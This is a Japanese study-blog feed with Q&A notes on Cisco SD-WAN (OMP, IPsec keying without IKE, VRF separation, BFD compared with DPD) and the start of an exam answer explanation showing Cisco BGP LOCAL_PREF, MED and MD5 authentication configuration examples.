<p class="wp-block-paragraph">OMPを使わずにHTTPやmGRE/NHRPなどの既存の技術を使っても実現できそうなのに、なんでわざわざ、面倒くさそうなOMPを導入しているの？決められたフォーマットを使えばまとめて情報を送れるから？でもそれも、JSONとか使えばHTTPでもフォーマット作ってまとめて送れるよね？あと、HTTPはステートレスっていうけど、セッションの保持時間を長くすればたとえNAT環境とかでもコントローラからの通信を受け取れるよね？</p>



<p class="wp-block-paragraph">A.既存技術（HTTPやmGRE/NHRP）では、数千台規模の大規模企業網の制御、多重回線の集約、複雑なポリシー制御に耐えられないから。</p>



<p class="wp-block-paragraph"><strong>▼OMPとHTTPの違い<br></strong><span class="blue">OMPはルーティングプロトコルそのもの</span>。つまり受け取ったポリシーからスムーズにルーティングに落とし込むことができる。一方HTTPはただデータを運ぶだけなので、受け取った後に再度、プログラムを稼働させてからでなければルーティングに落とし込むことができない。いわば無駄なオーバーヘッドが生まれてしまうということ。なので、OMPを使うべき。</p>



<h3 class="wp-block-heading"><span id="toc40">Ｑ．OMPで配布する情報とそれ以外で配布する情報の違いは？</span></h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>パラメータの種類</strong></td><td><strong>具体例</strong></td><td><strong>配布元・プロトコル</strong></td><td><strong>なぜそこから渡されるのか？</strong></td></tr></thead><tbody><tr><td><strong>共通ポリシー（静的）</strong></td><td>AES-256、SHA-256、DHグループ14、IKE/IPsecライフタイム</td><td><strong>SD-WAN Manager</strong><br>(HTTPS / NETCONF)</td><td>全拠点共通のセキュリティ基準（テンプレート）なので、初期設定（ZTP直後）として配れば十分だから。</td></tr><tr><td><strong>接続識別情報（動的）</strong></td><td>WAN側IPアドレス、UDPポート番号、TLOCカラー</td><td><strong>SD-WAN Controller</strong><br>(OMP)</td><td>プロバイダのIP変動やマルチ回線（フレッツ、5G等）のポート番号など、常に変わり得る値だから。</td></tr><tr><td><strong>暗号化鍵データ（動的）</strong></td><td>IPsecの鍵（SPI、AES encryption keyなど）</td><td><strong>SD-WAN Controller</strong><br>(OMP)</td><td>定期的に鍵を自動更新（Re-key）するため、リアルタイム同期が必要だから。</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">要は、拠点に依存しない設定であればZTP直後に配布する。逆に拠点依存の設定はOMPで動的に配布するという棲み分けがある。</p>



<h3 class="wp-block-heading"><span id="toc41">Q.SD-WANにおけるIPsec構築フロー</span></h3>



<ol start="1" class="wp-block-list">
<li>初期生成（ローカル）：各エッジルーターは起動時、内部でDH鍵ペア（秘密鍵 a, 公開鍵 A）を生成する。
<ul class="wp-block-list">
<li>公開鍵 A の計算式: A＝ g<sup>a</sup> mod p (g と p は共通ポリシーで固定指定された値）</li>
</ul>
</li>



<li>OMPによる集約と配布（制御プレーン）：ルーターは自身の「WAN側IP」「UDPポート」「公開鍵 A」などをセット（TLOC Route）にして、OMPでコントローラーへ送信。コントローラーはこれを全拠点へ一括配布する。</li>



<li>共通鍵の自動導出（ローカル）：拠点1は、OMPで届いた「拠点2の公開鍵 B」と「自分の秘密鍵 a」を掛け合わせ、共通鍵 K を計算する。
<ul class="wp-block-list">
<li>拠点1の計算: B<sup>a</sup> mod p = (g<sup>b</sup>)<sup>a</sup> mod p = g<sup>ab</sup> mod p</li>



<li>拠点2の計算: A<sup>b</sup> mod p = (g<sup>a</sup>)<sup>b</sup> mod p = g<sup>ab</sup> mod p<br>双方の手元で交渉なしに全く同じ共通鍵 K が完成する。</li>
</ul>
</li>



<li>事前確立とデータ通信（データプレーン）：通信が発生する前にバックグラウンドでIPsecトンネルを開通。実際のデータ通信時には、導き出した共通鍵 K（AES）で高速に暗号化・復号を行う。</li>
</ol>



<p class="wp-block-paragraph">以上のようなフローになる。また、上記より、SD-WANではIKEが不要であることが分かる。</p>



<h3 class="wp-block-heading"><span id="toc42">Q.なぜ DMVPN では IKE をやめられなかったのか？</span></h3>



<ol start="1" class="wp-block-list">
<li><strong>理論的には可能だった</strong><br>NHRP を拡張して「IPアドレス」と一緒に「各拠点ルータの公開鍵」もハブから配れば、理論上は IKE を排除できる。</li>



<li><strong>ハードウェアと役割の限界（現実の壁）</strong><br>当時のハブは単なる 1 台の物理ルーターであり、パケット転送処理でスペックがカツカツ。全拠点の鍵の最新状態や Re-key（更新）までハブで一元管理すると莫大なメモリ領域、CPUが必要で処理が破綻するため、<strong>「鍵交渉や認証（IKE）は拠点同士で直接やってくれ」</strong> という設計（割り切り）にせざるを得ない。</li>
</ol>



<h3 class="wp-block-heading"><span id="toc43">Q.なぜ SD-WAN では IKE を捨てられたのか？</span></h3>



<ol start="1" class="wp-block-list">
<li><strong>制御（Control）と転送（Data）の分離</strong><br>パケット転送を行わない「制御専用」のコントローラー（vSmart等）を分離独立させた。</li>



<li><strong>クラウド・サーバのハイスペック化</strong><br>クラウド上の強力な CPU/メモリ を背景に、中央コントローラーが「全拠点の認証」「暗号ルールの統一」「安全なパイプ（mTLS/OMP）での鍵配布」をすべて一括処理できるようになった。</li>



<li><strong>結果</strong><br>IKE がやってくれていた泥臭い事前交渉を<strong>すべてコントローラーが完了させておいてくれる</strong>ため、エッジルーター同士は IKE 交渉をスキップしていきなり IPsec トンネルを開通できるようになった。</li>
</ol>



<h3 class="wp-block-heading"><span id="toc44">p.12 なぜSD-WANはVRFが必要なの？</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="920" height="141" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-28.png" alt="" class="wp-image-8146" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-28.png 920w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-28-300x46.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-28-763x117.png 763w" sizes="(max-width: 920px) 100vw, 920px" /></figure>



<p class="wp-block-paragraph">Q.「MPLS-VPNのPEルータみたいに複数の企業と接続するためにVRFでルーティングを分ける」という理由ならVRFの必要性にうなずける。しかし、SD-WANの場合は１つの会社の拠点間で運用されているので、ルーティングが混ざっても問題ないのではないか？それなのになぜVRFを使うの？</p>



<p class="wp-block-paragraph">A.SD-WANにおけるVRFは「ルーター内部で『アンダーレイ（制御用通信）』と『オーバーレイ（社内データ通信）』を分けるためのセキュリティ壁として利用されている。</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>VRF（RI）の名称</strong></td><td><strong>割り振られる役割</strong></td><td><strong>どんな通信が流れるか？</strong></td></tr></thead><tbody><tr><td><strong>トランスポートVRF</strong><br>（コントロールプレーン）</td><td><strong>アンダーレイ</strong><br>（WAN回線そのもの）</td><td>コントローラー（vSmart/vManage）との<strong>mTLS/OMP通信</strong>、拠点間の<strong>IPsecトンネル自体の通信</strong>（WAN側IP）</td></tr><tr><td><strong>サービスVRF</strong><br>（データプレーン）</td><td><strong>オーバーレイ</strong><br>（社内ネットワーク）</td><td>社員が使うパソコン、社内サーバー、業務データ（プライベートIP：192.168.x.xなど）</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">ループの構成を簡単にすると👇<br><span class="bold-blue">①わからない宛先があった、0.0.0.0は本社IPsecだな！よし、IPsecに入れよう！<br>②よし、カプセル化できたからインターネット経由で流そう！インターネットのルーティングはわからないから0.0.0.0のデフォルトルートで流そう！<br>③ん？デフォルトルートはIPsecに入れるの？<br></span>というように、ループが発生する。<br>なので、そもそも、１つのデフォルトルートを参照し続けるのではなく、ルーティングテーブルを２つ持って、それぞれのデフォルトルートを持てば解決するよねっていう単純な話だったのである。</p>



<h3 class="wp-block-heading"><span id="toc45">Q.もし、VRFを使わないと何が起きるの？</span></h3>



<p class="wp-block-paragraph">SD-WANでVRFが使われるのは制御プレーンとデータプレーンを分けるためという理解はできたが、もし、分けなかったら具体的に何が起きるのかがいまいちイメージできない。なので、それをはっきりさせていこう！</p>



<h4 class="wp-block-heading"><span id="toc46">制御プレーンとデータプレーンのループ（矛盾）が生まれる</span></h4>



<p class="wp-block-paragraph">ルーティングテーブルが1つ（単一のVRF）しかない場合、「トンネルを作るための外側のパケット」<strong>と</strong>「トンネルを通すための内側のパケット」の宛先判断が混ざり、ルーティングの無限ループ（再帰的ルーティングループ）が発生する。具体的には、センタートラフィック集約で、わからないルートはすべて本社のIPsecに流すとい設定をした場合に発生する。ローカルブレイクアウトではこれは起きない。<br>▼具体的な発生メカニズムとフロー<br>前提：<br>　<strong>拠点Aの物理WAN IP：</strong> <code>203.0.113.1</code>（アンダーレイ）<br>　<strong>拠点Bの物理WAN IP：</strong> <code>198.51.100.2</code>（アンダーレイ）<br>　<strong>IPsecトンネル（データプレーン）：</strong> 拠点Aと拠点Bの間に張り、デフォルトルート（<code>0.0.0.0/0</code>）または他拠点宛の経路をトンネル向けに向ける。</p>



<p class="wp-block-paragraph"><strong>①.拠点AのPCから通信が発生:</strong><br><span class="fz-16px">　拠点Aの社内PCが、拠点B宛にデータ（例: <code>10.2.0.5</code>）を送信<br></span><strong>②.IPsecトンネルへルーティング:<br></strong><span class="fz-16px">　拠点Aのエッジルーターはルーティングテーブルを参照<br>　「<code>10.2.0.0/24</code> 宛は IPsecトンネル（<code>ipsec0</code>） に送る」というルールに従い、パケットをトンネルに送る<br></span><strong>③.暗号化と外側ヘッダー（ESP）の付与:<br></strong><span class="fz-16px">　ルーターは元のパケットを暗号化し、対向の物理WAN IP（拠点B: <code>198.51.100.2</code>）へ届けるため、新しいIPヘッダー（送信元: <code>203.0.113.1</code> / 宛先: <code>198.51.100.2</code>）を包み込むように付与（カプセル化）する。<br></span><strong>④.【障害発生】外側パケットの再ルーティング:</strong><br><span class="fz-16px">　カプセル化した「新しいパケット（宛先: <code>198.51.100.2</code>）」を実際にWANポートから物理送信するため、ルーターはもう一度同じルーティングテーブルを参照する。<br>　ここで、OMPや動的ルーティングにより「<code>0.0.0.0/0</code>（全通信）は IPsecトンネル（<code>ipsec0</code>） に送る」という集約ルートや過剰な経路が入っていると、ルーターはこう判断する。<br></span><strong>「<code>198.51.100.2</code> 宛のパケットも、IPsecトンネル（<code>ipsec0</code>）の中に送らなきゃ！」</strong><br><strong>⑤.無限ループ（カプセル化の再帰）:</strong><br><span class="fz-16px">　「暗号化パケット」をさらにIPsecトンネルに送り込むため、ルーターはもう一度暗号化し、さらに外側に新しいIPヘッダーを付与。</span><br>以上👆より、要は、<br><span class="bold-blue">①わからない宛先があった、0.0.0.0は本社IPsecだな！よし、IPsecに入れよう！<br>②よし、カプセル化できたからインターネット経由で流そう！インターネットのルーティングはわからないから0.0.0.0のデフォルトルートで流そう！<br>③ん？デフォルトルートはIPsecに入れるの？<br>というように、ループが発生する。</span></p>



<p class="wp-block-paragraph">結果として「カプセル化されたパケットを、さらにカプセル化してトンネルに投げる」という処理がメモリやCPUの限界まで無限に繰り返され（またはTTL切れで廃棄され）、通信が完全に破綻する。<br>しかし、これはあくまでもデフォルトルート（0.0.0.0/0）をIPsecにすべて流すような<span class="blue">センタートラフィック集約</span>を意図した場合である。ローカルブレイクアウトであれば、パケットがカプセル化（IPsec化）されないため、<span class="blue">「暗号化された外側パケットがもう一度トンネルに吸い込まれる」という現象自体が起こり得ない</span>。</p>



<h3 class="wp-block-heading"><span id="toc47">Q.なぜ普通のルーター（従来のIPsec）はVRFを使わずにループしないのか？</span></h3>



<p class="wp-block-paragraph">ループのメカニズムを確認すると、SD-WANに限った話ではないように感じる。しかし、旧来のIPsecルータはVRFをデフォルトで必要としない。でもループは起きない。ではなぜか？？</p>



<p class="wp-block-paragraph">A.普通のルーター（CiscoのIOSなど）で「全通信（<code>0.0.0.0/0</code>）をIPsecトンネルに投げる」設定をした場合、ルーター内部では特殊な処理（ローカル配送の例外処理）が働いている。</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="【従来のルーター内部の例外処理】
1. PCから通信が来る ➔ ルーティングテーブルを見て「0.0.0.0/0 宛てだから Tunnel0（IPsec）へ投げる」
2. ルーターが暗号化して「対向物理IP（200.200.200.200）」を外側に貼り付ける。
3. ★ここがポイント！★
   従来のIPsec（GRE/VTIなど）機能は、「自分自身が生成した暗号化後の物理パケット（宛先: 200.200.200.200）」を、もう一度ルーティングテーブルに通すのではなく、物理WANポート（Ge0/0）へ直接吐き出す特殊なマーク（ソケットバインド）を内部で自動的に行う。" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #A6E22E">【従来のルーター内部の例外処理】</span></span>
<span class="line"><span style="color: #A6E22E">1.</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">PCから通信が来る</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">➔</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ルーティングテーブルを見て「0.0.0.0/0</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">宛てだから</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Tunnel0（IPsec）へ投げる」</span></span>
<span class="line"><span style="color: #A6E22E">2.</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ルーターが暗号化して「対向物理IP（200.200.200.200）」を外側に貼り付ける。</span></span>
<span class="line"><span style="color: #A6E22E">3.</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">★ここがポイント！★</span></span>
<span class="line"><span style="color: #F8F8F2">   </span><span style="color: #A6E22E">従来のIPsec（GRE/VTIなど）機能は、「自分自身が生成した暗号化後の物理パケット（宛先:</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">200.200</span><span style="color: #E6DB74">.200.200）」を、もう一度ルーティングテーブルに通すのではなく、物理WANポート（Ge0/0）へ直接吐き出す特殊なマーク（ソケットバインド）を内部で自動的に行う。</span></span></code></pre></div>



<p class="wp-block-paragraph">従来のルーターは「暗号化したパケットは例外的にループ判定から外して物理WANに出す」というOS<span class="blue">内部の泥臭いハードコード（内部実装）</span>によって、単一VRFでもギリギリでループを防いでいた。</p>



<h3 class="wp-block-heading"><span id="toc48">Q.SD-WANにおけるBFDとは？&#8212;&#8212;-</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="908" height="98" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-29.png" alt="" class="wp-image-8149" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-29.png 908w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-29-300x32.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-29-760x82.png 760w" sizes="(max-width: 908px) 100vw, 908px" /></figure>



<p class="wp-block-paragraph"><strong>Q.どの区間でBFDが実施されるの？</strong><br>A.BFDが実施されるのは拠点間。コントローラとの通信はOMPのKeepAliveを使う。</p>



<p class="wp-block-paragraph"><strong>Q.なんで拠点間はBFDを使うの？<br></strong>A.コントローラとの通信はリアルタイム性がそれほど求められないため、OMPのKeepAliveで十分。一方、拠点間の通信は実際のデータパケットが流れるため、より障害に敏感にならなければならないから。なので、ミリ秒単位で障害を検知できるBFDを使う</p>



<p class="wp-block-paragraph"><strong>Q.IPsecのKeepAlive機能じゃダメなの？<br></strong>A.IPsecにも障害を検知するための機能がある。それがDPD（DeadPeerDetection）である。しかし、それはBFDに比べ、検知が遅く品質も判断できないという粗い精度なので、より高性能なBFDを使っている。</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>比較項目</strong></td><td><strong>DPD (Dead Peer Detection)</strong></td><td><strong>BFD (Bidirectional Forwarding Detection)</strong></td></tr></thead><tbody><tr><td><strong>主な目的</strong></td><td><strong>相手機器の生存確認</strong>（切れていればクリーンアップ）</td><td><strong>リンクの超高速障害検知＆回線品質の測定</strong></td></tr><tr><td><strong>検知速度</strong></td><td><strong>遅い</strong>（数秒 〜 30秒程度）</td><td><strong>超爆速</strong>（数十 〜 数百ミリ秒）</td></tr><tr><td><strong>得られる情報</strong></td><td><strong>「生きてる」か「死んでる」かのみ</strong></td><td><strong>生死 ＋ 遅延、パケットロス、ジッター（品質）</strong></td></tr><tr><td><strong>パケットサイズ</strong></td><td>やや大きい（IKE制御用ヘッダー等を含む）</td><td><strong>極小</strong>（約 24〜52 バイト程度の軽量固定長）</td></tr><tr><td><strong>送受信の頻度</strong></td><td>数秒〜数分に1回（またはトラフィック停止時のみ）</td><td><strong>1秒間に数回〜十数回（ミリ秒単位）</strong></td></tr><tr><td><strong>帯域・負荷の合計</strong></td><td>合計パケット数は極小（ミリ秒単位ではないため）</td><td>送信数は多いが、<strong>パケットが小さく専用処理のため負荷は無視できるレベル</strong></td></tr><tr><td><strong>処理エンジン</strong></td><td>コントロールプレーン（CPU処理）</td><td><strong>データプレーン（ASIC/ハードウェア高速処理）</strong></td></tr><tr><td><strong>サイレント障害の検知</strong></td><td><strong>不可能</strong>（パケロス50%でも生きていれば正常判定）</td><td><strong>可能</strong>（パケロスや遅延を測定して劣化を検知）</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><br></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>令和6年（2024年）ネスペ午後Ⅰ　問Ⅰ　解答解説</title>
		<link>https://ascend-beyond.com/study/8076/</link>
		
		<dc:creator><![CDATA[管理人]]></dc:creator>
		<pubDate>Fri, 04 Sep 2026 02:48:36 +0000</pubDate>
				<category><![CDATA[Study]]></category>
		<category><![CDATA[ネスペ]]></category>
		<guid isPermaLink="false">https://ascend-beyond.com/?p=8076</guid>

					<description><![CDATA[設問２ （１）ウ： 大きい　エ： 小さい これは知識問題。LOCAL＿PREFは大きな値が優先され、MEDは小さな値が優先される。 ▼設定方法 （３）不正なBGP接続 隣接ASのBGPルータとMD５認証のための共通のパス [&#8230;]]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading"><span id="toc1">設問２</span></h2>



<h3 class="wp-block-heading"><span id="toc2">（１）ウ： 大きい　エ： 小さい</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="932" height="106" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-7.png" alt="" class="wp-image-8088" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-7.png 932w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-7-300x34.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-7-765x87.png 765w" sizes="(max-width: 932px) 100vw, 932px" /></figure>



<p class="wp-block-paragraph">これは知識問題。LOCAL＿PREFは大きな値が優先され、MEDは小さな値が優先される。</p>



<p class="wp-block-paragraph"><strong>▼設定方法</strong></p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="#Local-Preference
route-map ルートマップ名 permit シーケンス番号
 set local-preference 値　#デフォルト値は100

router bgp AS番号
 neighbor ネイバーIP route-map ルートマップ名　in
 
 
 
#MED
route-map ルートマップ名 permit シーケンス番号
 set metric 値　#デフォルト値は0
 
router bgp AS番号
 neighbor ネイバーIP route-map ルートマップ名　out" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F">#Local-Preference</span></span>
<span class="line"><span style="color: #A6E22E">route-map</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ルートマップ名</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">permit</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">シーケンス番号</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">set</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">local-preference</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">値　#デフォルト値は100</span></span>
<span class="line"></span>
<span class="line"><span style="color: #A6E22E">router</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">bgp</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">AS番号</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">neighbor</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ネイバーIP</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">route-map</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ルートマップ名　in</span></span>
<span class="line"><span style="color: #F8F8F2"> </span></span>
<span class="line"><span style="color: #F8F8F2"> </span></span>
<span class="line"><span style="color: #F8F8F2"> </span></span>
<span class="line"><span style="color: #88846F">#MED</span></span>
<span class="line"><span style="color: #A6E22E">route-map</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ルートマップ名</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">permit</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">シーケンス番号</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">set</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">metric</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">値　#デフォルト値は0</span></span>
<span class="line"><span style="color: #F8F8F2"> </span></span>
<span class="line"><span style="color: #A6E22E">router</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">bgp</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">AS番号</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">neighbor</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ネイバーIP</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">route-map</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ルートマップ名　out</span></span></code></pre></div>



<h3 id="husei" class="wp-block-heading"><span id="toc3">（３）不正なBGP接続</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="927" height="113" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-8.png" alt="" class="wp-image-8089" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-8.png 927w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-8-300x37.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-8-763x93.png 763w" sizes="(max-width: 927px) 100vw, 927px" /></figure>



<p class="wp-block-paragraph">隣接ASのBGPルータとMD５認証のための共通のパスワードを設定することで、「不正なBGP接続」を防ぐことができる。</p>



<p class="wp-block-paragraph">Q.なんで不正なBGP接続を防ぎたいの？<br>A.「不正な経路の混入（Route Hijacking）」<strong>や</strong>「誤った経路の流出・漏洩（Route Leak）」を防ぐため。</p>



<p class="wp-block-paragraph"><strong>▼設定方法</strong><br>*OSPFやEIGRPの認証方法が気になる場合は<a href="#authentication" data-type="internal" data-id="#authentication">こちら</a></p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="#認証設定方法（シンプルバージョン）-------------------------------
router bgp AS番号
neighbor 192.0.2.2 password MySecretPassword123

#認証設定方法（キーチェーンを使うバージョン）-----------------------
key chain キーチェイン名
 key キー番号
  key-string パスワード
  send-life 00:00:00 Jan 1 2026 23:59:59 Dec 31 2026
  accept-lifetime 00:00:00 Jan 1 2026 23:59:59 Dec 31 2026

 key キー番号
  key-string パスワード
  send-life 00:00:00 Jan 1 2026 23:59:59 Dec 31 2026
  accept-lifetime 00:00:00 Jan 1 2026 23:59:59 Dec 31 2026
  
router bgp 65001
 neighbor 192.0.2.2 password encrypted-key-chain キーチェイン名
  
#send-lif：このカギを送信時に使う期間
#accept-lifetime:このカギを受信時に使う期間" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F">#認証設定方法（シンプルバージョン）-------------------------------</span></span>
<span class="line"><span style="color: #A6E22E">router</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">bgp</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">AS番号</span></span>
<span class="line"><span style="color: #A6E22E">neighbor</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">192.0</span><span style="color: #E6DB74">.2.2</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">password</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">MySecretPassword123</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F">#認証設定方法（キーチェーンを使うバージョン）-----------------------</span></span>
<span class="line"><span style="color: #A6E22E">key</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">chain</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">キーチェイン名</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">key</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">キー番号</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">key-string</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">パスワード</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">send-life</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">00</span><span style="color: #E6DB74">:00:00</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Jan</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2026</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">23</span><span style="color: #E6DB74">:59:59</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Dec</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">31</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2026</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">accept-lifetime</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">00</span><span style="color: #E6DB74">:00:00</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Jan</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2026</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">23</span><span style="color: #E6DB74">:59:59</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">Dec</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">31</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">2026</span></span>
<span class="line"></span>
